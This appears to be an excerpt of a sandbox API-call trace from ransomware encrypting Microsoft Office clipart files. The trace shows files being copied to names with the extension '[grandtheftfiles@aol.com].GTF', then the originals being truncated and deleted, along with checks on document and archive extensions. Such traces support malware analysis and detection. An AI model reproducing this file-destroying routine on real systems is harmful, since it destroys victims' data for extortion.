	[0087.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.467] GetLastError () returned 0x0
	[0087.468] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x17b4, lpOverlapped=0x0) returned 1
	[0087.469] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x17c0, lpOverlapped=0x0) returned 1
	[0087.472] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.472] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.473] SetEndOfFile (hFile=0x334) returned 1
	[0087.473] CloseHandle (hObject=0x334) returned 1
	[0087.473] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.473] SetEndOfFile (hFile=0x39c) returned 1
	[0087.474] CloseHandle (hObject=0x39c) returned 1
	[0087.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1
	[0087.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.474] lstrlenW (lpString=".doc") returned 4
	[0087.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.474] lstrlenW (lpString=".docx") returned 5
	[0087.474] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.474] lstrlenW (lpString=".pdf") returned 4
	[0087.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.474] lstrlenW (lpString=".xls") returned 4
	[0087.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.474] lstrlenW (lpString=".xlsx") returned 5
	[0087.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.474] lstrlenW (lpString=".ppt") returned 4
	[0087.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.475] lstrlenW (lpString=".zip") returned 4
	[0087.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.475] lstrlenW (lpString=".rar") returned 4
	[0087.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.475] lstrlenW (lpString=".bz2") returned 4
	[0087.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.475] lstrlenW (lpString=".7z") returned 3
	[0087.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.475] lstrlenW (lpString=".dbf") returned 4
	[0087.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.475] lstrlenW (lpString=".1cd") returned 4
	[0087.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.475] lstrlenW (lpString=".jpg") returned 4
	[0087.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.475] lstrlenW (lpString=".doc") returned 4
	[0087.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.475] lstrlenW (lpString=".docx") returned 5
	[0087.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.475] lstrlenW (lpString=".pdf") returned 4
	[0087.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.475] lstrlenW (lpString=".xls") returned 4
	[0087.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.475] lstrlenW (lpString=".xlsx") returned 5
	[0087.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.475] lstrlenW (lpString=".ppt") returned 4
	[0087.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.475] lstrlenW (lpString=".zip") returned 4
	[0087.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.475] lstrlenW (lpString=".rar") returned 4
	[0087.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.476] lstrlenW (lpString=".bz2") returned 4
	[0087.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.476] lstrlenW (lpString=".7z") returned 3
	[0087.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.476] lstrlenW (lpString=".dbf") returned 4
	[0087.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.476] lstrlenW (lpString=".1cd") returned 4
	[0087.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68
	[0087.476] lstrlenW (lpString=".jpg") returned 4
	[0087.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.476] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.476] lstrlenW (lpString="FD00361_.WMF") returned 12
	[0087.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.476] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4074) returned 1
	[0087.476] CloseHandle (hObject=0x39c) returned 1
	[0087.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220
	[0087.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.477] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.477] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.477] GetLastError () returned 0x0
	[0087.477] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xfea, lpOverlapped=0x0) returned 1
	[0087.479] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xff0, lpOverlapped=0x0) returned 1
	[0087.481] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.481] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.481] SetEndOfFile (hFile=0x334) returned 1
	[0087.482] CloseHandle (hObject=0x334) returned 1
	[0087.482] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.482] SetEndOfFile (hFile=0x39c) returned 1
	[0087.482] CloseHandle (hObject=0x39c) returned 1
	[0087.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1
	[0087.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.483] lstrlenW (lpString=".doc") returned 4
	[0087.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.483] lstrlenW (lpString=".docx") returned 5
	[0087.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.483] lstrlenW (lpString=".pdf") returned 4
	[0087.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.483] lstrlenW (lpString=".xls") returned 4
	[0087.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.483] lstrlenW (lpString=".xlsx") returned 5
	[0087.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.483] lstrlenW (lpString=".ppt") returned 4
	[0087.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.483] lstrlenW (lpString=".zip") returned 4
	[0087.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.483] lstrlenW (lpString=".rar") returned 4
	[0087.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString=".bz2") returned 4
	[0087.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString=".7z") returned 3
	[0087.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.484] lstrlenW (lpString=".dbf") returned 4
	[0087.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.484] lstrlenW (lpString=".1cd") returned 4
	[0087.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.484] lstrlenW (lpString=".jpg") returned 4
	[0087.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.484] lstrlenW (lpString=".doc") returned 4
	[0087.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString=".docx") returned 5
	[0087.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.484] lstrlenW (lpString=".pdf") returned 4
	[0087.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString=".xls") returned 4
	[0087.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.484] lstrlenW (lpString=".xlsx") returned 5
	[0087.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.484] lstrlenW (lpString=".ppt") returned 4
	[0087.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.484] lstrlenW (lpString=".zip") returned 4
	[0087.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.484] lstrlenW (lpString=".rar") returned 4
	[0087.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString=".bz2") returned 4
	[0087.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.484] lstrlenW (lpString=".7z") returned 3
	[0087.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.485] lstrlenW (lpString=".dbf") returned 4
	[0087.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.485] lstrlenW (lpString=".1cd") returned 4
	[0087.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.485] lstrlenW (lpString=".jpg") returned 4
	[0087.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.485] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.485] lstrlenW (lpString="FD00369_.WMF") returned 12
	[0087.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.485] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=8552) returned 1
	[0087.485] CloseHandle (hObject=0x39c) returned 1
	[0087.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220
	[0087.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.486] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.486] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.486] GetLastError () returned 0x0
	[0087.486] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x2168, lpOverlapped=0x0) returned 1
	[0087.488] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2170, lpOverlapped=0x0) returned 1
	[0087.489] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.489] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.489] SetEndOfFile (hFile=0x334) returned 1
	[0087.489] CloseHandle (hObject=0x334) returned 1
	[0087.489] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.489] SetEndOfFile (hFile=0x39c) returned 1
	[0087.490] CloseHandle (hObject=0x39c) returned 1
	[0087.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1
	[0087.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.491] lstrlenW (lpString=".doc") returned 4
	[0087.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.491] lstrlenW (lpString=".docx") returned 5
	[0087.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.491] lstrlenW (lpString=".pdf") returned 4
	[0087.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.491] lstrlenW (lpString=".xls") returned 4
	[0087.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.491] lstrlenW (lpString=".xlsx") returned 5
	[0087.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.491] lstrlenW (lpString=".ppt") returned 4
	[0087.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.491] lstrlenW (lpString=".zip") returned 4
	[0087.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.491] lstrlenW (lpString=".rar") returned 4
	[0087.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.491] lstrlenW (lpString=".bz2") returned 4
	[0087.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.491] lstrlenW (lpString=".7z") returned 3
	[0087.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.491] lstrlenW (lpString=".dbf") returned 4
	[0087.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.491] lstrlenW (lpString=".1cd") returned 4
	[0087.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.492] lstrlenW (lpString=".jpg") returned 4
	[0087.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.492] lstrlenW (lpString=".doc") returned 4
	[0087.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.492] lstrlenW (lpString=".docx") returned 5
	[0087.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.492] lstrlenW (lpString=".pdf") returned 4
	[0087.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.492] lstrlenW (lpString=".xls") returned 4
	[0087.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.492] lstrlenW (lpString=".xlsx") returned 5
	[0087.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.492] lstrlenW (lpString=".ppt") returned 4
	[0087.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.492] lstrlenW (lpString=".zip") returned 4
	[0087.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.492] lstrlenW (lpString=".rar") returned 4
	[0087.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.492] lstrlenW (lpString=".bz2") returned 4
	[0087.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.492] lstrlenW (lpString=".7z") returned 3
	[0087.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.492] lstrlenW (lpString=".dbf") returned 4
	[0087.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.492] lstrlenW (lpString=".1cd") returned 4
	[0087.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.492] lstrlenW (lpString=".jpg") returned 4
	[0087.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.493] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.493] lstrlenW (lpString="FD00382_.WMF") returned 12
	[0087.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.493] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=8424) returned 1
	[0087.493] CloseHandle (hObject=0x39c) returned 1
	[0087.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220
	[0087.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.493] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
